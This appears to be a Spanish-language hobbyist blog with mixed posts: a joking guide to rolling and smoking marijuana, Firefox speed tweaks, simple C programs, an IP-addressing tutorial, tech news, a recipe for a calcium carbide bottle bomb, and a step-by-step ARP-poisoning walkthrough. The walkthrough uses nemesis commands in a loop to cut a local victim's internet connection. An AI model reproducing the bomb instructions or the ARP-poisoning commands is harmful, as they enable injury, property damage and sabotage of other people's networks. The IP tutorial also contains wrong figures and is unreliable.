Jul
01

Curso Visual y de Lectura con el Profesor Rene

Y porque no un poco de humor para hacer mas ambiente en el blog?? Aqui les dejo un curso para que anden fumando algo de pasto haha ohh weed ,  como le quieran llamar haha

Hola amigos , como estan? les voy a enseñar a hacer un churrito

Tomas un smoking o papel de arroz o papelillo o felpa o papel de caja de zapato o hoja de biblia o desarman un cigarro o una boleta o con cualquier hoja, y lo doblas en dos

Luego seleccionas la cannabis sativa (verdes), que van a cosumir, con cuidado de que ………………………………….

-¡ ¡ ¡ ¡ Puta Perra madre , hijo de la chingada, son of a bitch, fuck you, etc…

Perdon, luego del impasse continuo. Teniendo el ‘papel’ doblado, vierte la ‘yerbita’ en su interior y con los dedos (de las dos manos), humedos, comienza a hacer un rollito

Teniendo el purito hecho, enrrollalo en la puntita como un caramelo….

Busca unos fosforos o encendedor y……….

… enciende, aspirando y exhalando alternandamente

Si te sucede algo similar, recurre al nunca bien ponderado ‘bombero’, humedeciendote un dedo y opacando la zona afectada , para que el consumo sea parejo

cof ! cof ! cof ! , reten un poco el humo, hasta que te pique la garganta, pufcof…. y repite la experiencia.

je !…je !…. relajate loco, piensa en nada o en la inmortalidad del cangrejo, escucha Pink Floyd….anda a ver , no se cualquier huea …ohhhhhhhhh…….cha my madre! je! je!

je ! je !….luego sentiras que estas dentro je ! ..de un YOYO, y un hambre terrible te invadira..(bajon)..je ! je !….AHAHAH!!! guarda la cola , para tus amigos, NO SEAS CABRON!!

zZzZzZzZz…………..va, ….Sigue las instrucciones y lo pasaras bien,de pelos

Jul
01

Firefox de 3-30x de velocidad

Un viejo mini-manual algo util para algunos pero para otros una perdida de tiempo, en fin lo posteo para ver si le encuentran algo de utilidad, lo saque del primer blo que tenia :D

Pues que esto , lo que vamos a hacer es aumentar la velocidad de firefox al cargar las paginas pero bueno no tiene nada de ciencia es algo simple asi que empezamos.

Abrimos firefox y en la la barra de direcciones escribimos “about: config” y le damos cargar como si fueramos a entrar a una pagina web entonces no aparecera una lista con miles de entradas por decir , pero nosotros vamos a buscar solo tres en particular que son:

Network.http.pipelining

Network.http.proxy.pipelining

Network.http.pipelining.maxrequests

Ok ya que las localizamos empecemos entonces hay que modificarlas de la siguiente manera , pero porque modificarlos a ver primero que nada bueno pues como sabran el firefox hace una peticion a la ves entonces si activamos por decir el pipelining podremos hacer que efectue varias a la misma ves lo que hara que acelera realmente la carga de las paginas web

Network.http.pipelining———————True Network.http.proxy.pipelining—————-True

Bueno hacemos que ponga ese valor haciendo un doble click sobre estas entradas , pero y la otra entrada que le hacemos , pues bueno la configuramos de esta manera

Network.http.pipelining.maxrequests—————–en ves de que ponga 4 hay que ponerle a 30

pero que significa esto bueno pues en ves de hacer 4 peticiones hara 30 y bueno ya es todo , noo noo espera ahora lo ultimo seria crea una nueva entrada , pero como? pues bueno en cualquier lado de ahi hacemos click derecho y le damos New o Nuevo –> Integer o cadena y la llamamos de la siguiente manera

Nombre:”nglayout.initialpaint.delay”— Sin las comillas
Valor: 0

Pero que hace esto bueno pues le damos este valor que es la cantidad de tiempo que el navegador tiene que esperar antes de que los actos esten en la información que recibe

Y bueno seria todo ahora tus paginas cargaran mas rapido desde firefox, pero hay que tener cuidado ya que hay veces paginas no permiten este tipo de modificaciones y no cargan despues es solo ir buscando la manera y experimentar

Jul
01

Bomba de Carburo

Bueno pues aprenderemos a hacer una bomba sencilla pero que la explosion es poderosa ademas de que generalmente deja manchas dificiles de quitar debido al acetiluro que utilizaremos para crear esta pequeña bomba.

Ingredientes

- Una botella de plastico

- Agua

- Carburo de Calcio o Acetiluro de Calcio ( Los dos son lo mismo nadamas con diferentes nombres) generalmente se consigue en las ferreterias , es el lugar mas comun que conosco

- Un martillo

- Papel (Periodico, Higienico, Etc..)

- Encendedor o Cerrillos

Bueno existen dos formas de crear este tipos de bombas las cuales son las siguientes :

1)

La idea es romper el carburo de calcio en pequeñas piedritas para que entren por la ranura de la botella, despues a la botella se le agrega agua junto con el acetiluro ( Cuidado con las cantidades nomas es poco, no te excedas) y cierras la botella muy bien y listo la avientas y te retiras de ahi

2)

Generalmente se realizan los mismo pasos que en la pasada pero ahora enrredas la botella con el papel y la enciendes con el encendedor y listo

Ahora porque explota esto , porque hace que realice la explosion , bueno como podemos saber al combinar el carburo de carburo de calcio con agua creamos Acetileno un gas que empieza a crear presion en la botella hasta hacer que se expanda esta y explote, sobre las diferencias de las formas de crear se puede comentar que en la primera forma el color de la manhca sera blanca como pintura , mientras que en la forma 2 deja como una mancha negra como el hollin, la explosion sera mas poderosa entre mas carburo uses pero tampoco no quieras usar nada de agua porque si no , no se producira el acetileno y por lo tanto no creara la explosion.

Jun
26

Zune HD touchscreen usará tecnología Tegra de Nvidia

zune-hd

Microsoft ha confirmado que su nuevo reproductor multimeida Zune HD Touchscreen usará el chipset de alta definición Tegra. Difundido en el podcast oficial de Zune Insider, el miembro del equipo del producto, Matt Akers reveló que los recientes rumores sobre Zune y el chipset Tegra son totalmente acertados, describiendo al nuevo Zune HD con la tecnología Nvidia “como una mini laptop en tus manos”.

Akers además afirmó que este nuevo modelo tendra una vida extendida en lo que a la batería se refiere, también tendrá salida de vídeo HDMI, aceleración de gráficos por hardware y muchas opciones más. Tendremos que esperar hasta el mes de Setiembre para poder adquirir este producto.

Jun
26

Codificador [C]

Lo que hace es que introduces un entero de 4 digitos, el cual lo descompone en 4 variables a cada variable le suma 7 y le saca el modulo 10, y al final cambia de posicion los digiatos siendo el primero por el tercero y el segundo por el cuarto.


#include <stdio .h>
#include<conio .h>

void main()
{
char arreglo[4];
int var1, var2, var3, var4;
clrscr();
printf(”\nIngresa el numero a codificar: “);
scanf(”%s”, arreglo);

var1 = ((int)arreglo[0])-48;
var2 = ((int)arreglo[1])-48;
var3 = ((int)arreglo[2])-48;
var4 = ((int)arreglo[3])-48;

clrscr();
printf(”El entero codificado es:%d%d%d%d”, ((var3 +7)%10), ((var4 +7)%10), ((var1 +7)%10), ((var2 +7)%10));
getch();
}

Decodificador


#include <stdio .h>
#include<conio .h>

void main()
{
char arreglo[4];
int var1, var2, var3, var4;
clrscr();
printf(”\nIngresa el numero a codificar: “);
scanf(”%s”, arreglo);

var1 = ((int)arreglo[0])-48;
var2 = ((int)arreglo[1])-48;
var3 = ((int)arreglo[2])-48;
var4 = ((int)arreglo[3])-48;

clrscr();
printf(”El entero codificado es:%d%d%d%d”, ((var3 +3)%10), ((var4 +3)%10), ((var1 +3)%10), ((var2 +3)%10));
getch();
}

Jun
21

Que es IP?

Aqui les comparto un viejo tutoria que realize sobre que es una IP. Espero y les guste

Que es IP?

Image1435

IP mejor conocida como Internet Protocol Address es simplemente una dirección que cierta maquina tiene (Hablando en términos directos hacia la red) para poder identificarse u comunicarse con otra máquina en el Protocolo Estándar de Internet (IP) o en simples términos la dirección de la maquina. Todo aquello que este participando en la red tendrá una IP.

Ya conociendo que es una IP ya podemos explicar la estructura de esta:

Como podemos saber cada estación de PSN (Packed Switched Network) el cual está basado en el protocolo TCP/IP por ejemplo tu computadora debe de tener una IP, con la cual como explicamos anteriormente se identificara tu maquina, en la cual la información será retransmitida y enrutada a la máquina de manera ordenada.

Una IP como debemos de saber consiste en una dirección lógica de 32 Bits y esta a su vez es divida en dos partes las cuales son:

1) La dirección de la red : Esta es asignada por el InterNIC (Internet Network Information Center) . Generalmente la mayoría de los ISP (internet service providers) compran un cierto número de direcciones y estas las asignan individualmente.

2) La dirección del Host: Esta identifica una dirección en un punto (Node) simple en la toda la red , el cual puede ser asignado por un gestor de la red usando protocolos como DHCP (Dynamic Host Configuration Protocol) o una Workstation en sí. Generalmente las redes de protocolo IP es un protocolo de enrutamiento lógico, lo que significa que la dirección 198.45.54.2

será el mismo cable físico con la direccion 198.45.54.3 (pero claro esto no siempre es cierto) ya que esto depende de la máscara de subred de la red.

Estructura de Una dirección IP:

—.—.—.—</code>

^ ^

| |

Red| host

Cada “—“ = 8 Bits

Los primeros Bits= La dirección de la red

Los últimos bits = La dirección del host

Con 8 bits puedes presentar de 0-225. (Forma binaria = 2 a la potencia de -1)

Ejemplo de forma Binaria:

IP: 11000010.01011010.00011111.01001010

IP en decimal: 194.90.31.74

- Tipo de clases de IP

Podemos clasificar en 5 tipos de clases la IP , los cuales los puedes distinguir comparando el “High Order” bits (los cuatro primeros bits que están a la izquierda de la dirección)

Diagrama de las clases:

</code>

Type| Model | Target | MSB |Addr.Range |Bit Number| Max.Stations| | | Groups | | |Net./Hosts| |

—————————————————————————————————————————————–

A |N.h.h.h | All | 0 | 1.0.0.0 | 24/7 | 16,777,214 | | | Accept to huge Corps | | | 127.0.0.0 | | |

——————————————————————————————————————————————

B|N.N.h.h | To all | 10 | 128.1.00 | 16/14 | 65,543 | | | Larges to Corps| | | 191.254.00 | | |

——————————————————————————————————————————————

C|N.N.N.h |To A lot | 110 | 192.0.1.0 | 8/22 | 254 | | |Of to small corps | | | 223.225.254 | | |

——————————————————————————————————————————————

D | None |MULTI-CA|1110 | 224.0.0.0 | Not For | Unknown | | |St Addr. to Usual RFC-1112| | |239.255.255.255

——————————————————————————————————————————————

E | NOT FOR|EXPERIME|1, 1, 1, 1| 240.0.0.0 |NOT FOR| NOT FOR USE|| Use Ntal to Use Addr. | |254.255.255.255| | |

——————————————————————————————————————————————

N=Network

H=Host

Ahora observemos en el rango de direcciones 127.X.X.X.

Como podrán saber estas direcciones se asignan para un uso interno para el dispositivo de red o la maquina mejor dicho, las cuales son utilizado como una herramienta de solicitud única. Por ejemplo : 127.0.0.1 la más común la cual se llama la dirección Loopback “ todo aquello que es enviado es regresado directamente de nuevo a ti , sin siquiera viajar a cabo de la red”. Además hay que tener en cuenta que algunas IPs están reservados para VPN ( Virtual Private Network) las cuales son redes de área local sobre redes de área amplia que utilizan el protocolo de Internet para

comunicarse , y cada computadora dentro de esta red se le asigna una dirección IP . Ahora, supongamos que una determinada maquina quiere enviar un paquete de datos a tal host en la red con una IP ‘X’, pero también hay otro host en la internet que tiene la misma IP – y ahora qué pasa? Así es , esta es una de las razones por la que no puede usar estas y otras formas de IPs reservadas en la Internet.

- Distinguir los diferentes grupos:

Se tiene que comparar el primer byte de la izquierda en la dirección de la siguiente manera:

</code>

Type | First byte | MSB | in decimal

—————————-

A| 1-127 | 0 |0

—————————-

B | 128-191 | 10 |2

—————————-

C | 192-223 | 110 |6

—————————-

D | 224-239 | 1110| 14

—————————-

E | 240-254 | 1111 |15

Nota para aquellos que no conocen unos de los términos:

MultiCast: Podemos definir esto como el envío de la información en una red a múltiples destinos simultáneamente, usando una estrategia más eficiente para el envío de los mensajes sobre cada enlace de la red sólo una vez y creando copias cuando los enlaces en los destinos se dividen.

Ahora refiriéndonos a IP MultiCast es nada más una técnica con varias comunicaciones pues a través de lo que sería una infraestructura de una IP. Esta a su vez hace escalas por decir asi a un mayor receptor de población sin requerir el conocimiento previo de quién o cuántos hay receptores. Se puede hace hincapié de que Multicast requiriendo claro la fuente para enviar paquetes solo una vez, incluso también si tiene que ser entregado a un gran número de receptores.

Un grupo de IP Multicast de dirección es utilizado por las fuentes y los receptores para enviar y recibir contenido. Estas fuentes utilizan el grupo de dirección como la dirección IP de destino en sus paquetes de datos. Mientras que los receptores utilizan este grupo para informar a la dirección de la red en la que están interesados en recibir paquetes enviados a el grupo.

MSB ( Most Significent Bit)

En conjunto los números de la primera serie de la izquierda es el más importante porque tiene el valor más alto referente a la LSB ( Least Significen bit) el cual mantiene siempre un valor más pequeño.

Tal vez no esté muy bien explicado este manual ya que es la primera vez que realizo algo así, apenas esto podemos llamarlo como un inicio, esto no se quedara así, por el momento tengo este conocimiento muy básico, estuve basándome en cosas de la red, pero pues aun falta más por investigar bien ya que para aquellos que quieren aprender bien esto este manual sería muy ambiguo, así que no se desesperen pronto sacare mas sobre este tema.

Jun
21

Negación de servicios de Internet a otro equipo de la red local

Hace mucho lei a travez de elhacker.net sobre intrusion de sistemas en redes locales, y de entre esos textos me agrado el de la denegacion de servicios de internet de una pc a otra, asi que lo comparto con ustedes.

Teoría:

El equipo víctima accede a Internet a través del router. Y a su vez, accede al router pq conoce su dirección IP, q es traducida a dirección MAC a través del protocolo ARP. Por tanto, en última instancia, el equipo víctima accede a Internet mandando paquetes hacia la dirección MAC del router. Si el equipo atacante logra engañar al equipo víctima, haciendole creer q la dirección MAC del router es otra inexistente, el equipo víctima no podrá llegar al router, esto es, no podrá llegar a Internet. Para llevar esto a cabo, el equipo atacante debe enviar un paquete malicioso suplantando la identidad del router y diciéndole al equipo víctima q debe actualizar su tabla ARP con la nueva dirección MAC inexistente.

Aplicación práctica:

Envenenamiento ARP

Escenario:

Atacante: 10.10.0.69
Víctima: 10.10.0.254
Router / Puerta de Enlace: 10.10.0.33

Herramientas:

Vamos a utilizar el inyector de paquetes Némesis @ http://www.packetfactory.net/projects/nemesis/
Más información sobre Nemesis en http://foro.elhacker.net/index.php/topic,33197.0.html

Procedimiento:

1º Obtener las direcciones MACs de los equipos víctima y router a través de sus direcciones IP. Para ello, hacemos un ping a ambos equipos.

2º Obtener la tabla caché ARP de direcciones IP/MAC en el equipo atacante. Esto se hace a través del comando arp -a

C:\>arp -a</code>

Interfaz: 10.10.0.69 --- 0x2
Dirección IP          Dirección física      Tipo
10.10.0.33            00-c0-49-44-b1-d5     dinámico
10.10.0.254           00-20-18-b0-06-df     dinámico

C:\>

3º Obtener la tabla caché ARP de direcciones IP/MAC en el equipo víctima. Esto es lo q supuestamente ocurriría en el equipo víctima...

C:\WINDOWS\system32>arp -a</code>

Interfaz: 10.10.0.254 --- 0x2
Dirección IP          Dirección física      Tipo
10.10.0.33            00-c0-49-44-b1-d5     dinámico
10.10.0.69            00-05-1c-0a-ab-92     dinámico

C:\WINDOWS\system32>

4º Verificar que la víctima tiene conexión a Internet. Esto es lo q supuestamente ocurriría en el equipo víctima...

C:\WINDOWS\system32>ping <a href="http://www.google.es/" target="_blank">www.google.es</a> -t</code>

Haciendo ping a <a href="http://www.google.akadns.net/" target="_blank">www.google.akadns.net</a> [66.102.11.99] con 32 bytes de datos:

Respuesta desde 66.102.11.99: bytes=32 tiempo=93ms TTL=241
Respuesta desde 66.102.11.99: bytes=32 tiempo=113ms TTL=237
Respuesta desde 66.102.11.99: bytes=32 tiempo=110ms TTL=237
etc.

5º Inyectar desde el atacante el paquete malicioso que envenena la tabla caché ARP de la víctima con la MAC errónea del router.

Sintaxis de la inyección: nemesis arp -D IPvictima -S IProuter -H MACrouter

C:\>nemesis arp -D 10.10.0.254 -S 10.10.0.33 -H AA:BB:CC:DD:EE:FF</code>

ARP Packet Injected

C:\>

6º Obtener la tabla caché ARP de direcciones IP/MAC envenenada en el equipo víctima. Esto es lo q supuestamente ocurriría en el equipo víctima...

C:\WINDOWS\system32>arp -a</code>

Interfaz: 10.10.0.254 --- 0x2
Dirección IP          Dirección física      Tipo
10.10.0.33            aa-bb-cc-dd-ee-ff     dinámico
10.10.0.69            00-05-1c-0a-ab-92     dinámico

C:\WINDOWS\system32>

7º Verificar que la víctima NO tiene conexión a Internet. Esto es lo q supuestamente ocurriría en el equipo víctima...

C:\WINDOWS\system32>ping <a href="http://www.google.es/" target="_blank">www.google.es</a> -t</code>

Haciendo ping a <a href="http://www.google.akadns.net/" target="_blank">www.google.akadns.net</a> [66.102.11.99] con 32 bytes de datos:

Tiempo de espera agotado para esta solicitud.
Tiempo de espera agotado para esta solicitud.
Tiempo de espera agotado para esta solicitud.
Tiempo de espera agotado para esta solicitud.
Tiempo de espera agotado para esta solicitud.
Tiempo de espera agotado para esta solicitud.
Tiempo de espera agotado para esta solicitud.
Respuesta desde 66.102.11.99: bytes=32 tiempo=112ms TTL=238
etc.

Como podéis observar, después de cierto tiempo, el sistema Windows de la víctima refrescará su tabla caché ARP con la verdadera dirección MAC del router y, entonces, sí que dispondrá de conexión Internet. Se fastidió el invento?? Noooo... si estamos continua y periódicamente envenenando la tabla caché ARP de la víctima desde el equipo atacante.
Para ello, inyectamos el paquete con Nemesis desde un bucle FOR:

C:\>FOR /L %i IN (1,1,5000) DO nemesis arp -D 10.10.0.254 -S 10.10.0.33 -H AA:BB:CC:DD:EE:FF</code>

C:\>nemesis arp -D 10.10.0.254 -S 10.10.0.33 -H AA:BB:CC:DD:EE:FF

ARP Packet Injected

C:\>nemesis arp -D 10.10.0.254 -S 10.10.0.33 -H AA:BB:CC:DD:EE:FF

ARP Packet Injected

C:\>nemesis arp -D 10.10.0.254 -S 10.10.0.33 -H AA:BB:CC:DD:EE:FF

ARP Packet Injected

C:\>nemesis arp -D 10.10.0.254 -S 10.10.0.33 -H AA:BB:CC:DD:EE:FF

ARP Packet Injected

C:\>nemesis arp -D 10.10.0.254 -S 10.10.0.33 -H AA:BB:CC:DD:EE:FF

ARP Packet Injected

etc.

De esta forma, la víctima no dispondrá de conexión a Internet mientras dure el bucle FOR del atacante...

Jun
18

Craps Source [C]

Un programa que hice para un examen de programacion, que por cierto no me dieron la calificacion que debia ser, solo porque dijo el profe que estaba demasiado estructurado como para que fuera mio. Pero nada solo porque el alumno vence al maestro no le parecio del todo, aun al final me falta mucho por aprender a programar, en fin aqui les dejo la source y sobre que trata este juego de casino.

Craps

La primera tirada del jugador se conoce como Salida. Para realizar una simple apuesta Línea de Pase, sólo tendría que poner sus fichas en el área marcada con Línea de Pase. Ganará si el tirador consigue un natural: 7 u 11. Si consigue craps: 2, 3, ó 12, usted pierde. Si consiguen un punto del tirador: 4, 5, 6, 8, 9, ó 10, deben conseguir ese punto de nuevo antes de que usted pueda ganar con un 7.

#include <stdio .h>
#include <stdlib .h>
#include <time .h>
#include<conio .h>
int Dados(void);
void main()
{</conio></time></stdlib></stdio></code>

clrscr();
randomize();
int continuar,usuario,Status,sum,punto,general=0,apuesta,total;
while(usuario!=2)
{
while(continuar!=2)
{
clrscr();
printf("Introdusca la cantidad a apostar:$");
scanf("%d",&amp;amp;apuesta);
sum=Dados();
switch(sum)
{
case 7:case 11:
Status=1;
break;
case 2:case 3:case 12:
Status=2;
break;
default:
Status=0;
punto=sum;
printf("\nTu punto de inicio es:%d",punto);
break;
}
while(Status==0)
{
sum=Dados();
if(sum==punto)
{
Status=1;
}
else
{
if(sum==7)
Status=2;
}
}
if(Status==1)
{
general+=apuesta;
printf("\n\t\tGanaste$$ Tienes bastante suerte!!!");
}
else
{
general-=apuesta;
printf("\n\t\tPerdiste!!!Intenta de nuevo");
}
printf("\n\nDeseas continuar jugando? Presiona:\n(1) Para continuar \n(2) Para Finalizar");
scanf("%d",&amp;amp;continuar);
}
total=apuesta+general;
printf("\nTu dinero que ganaste o perdiste:$%d",general);
printf("\nTotal de tu saldo de apuestas:$%d",total);
getch();
printf("\nDeseas crear un nuevo usuario:\n(1)Si\n(2)No");
scanf("%d",&amp;amp;usuario);
getch();
if(usuario==1)
{
general=0;
continuar=0;
apuesta=0;
}
}
}
int Dados()
{
int dado1,dado2,sum1;
dado1=1+(rand()%6);
dado2=1+(rand()%6);
sum1=dado1+dado2;
printf("\nSuma de los dados %d+%d=%d",dado1,dado2,sum1);
return sum1;
}
Jun
18

“Morro” Anti-Virus Gratuito de Microsoft

ms-virus

Este hace dias me entere de que Microsoft , noticia que a algunas de las empresas desarrolladoras de Anti-Virus no les parecio del todo, se supone que el nombre de este se basa en una playa ubicada en Sao Paulo-Brazil . Una version beta esta cerca, pero aun no se sabe cuando sera lanzada.

Es una versión que deriva de Live OneCare, el software antivirus de MS de años atrás. Esperemos a ver que pasa, sera un buen Anti-virus ? Ya veremos la realidad pronto.

top WordPress Loves AJAX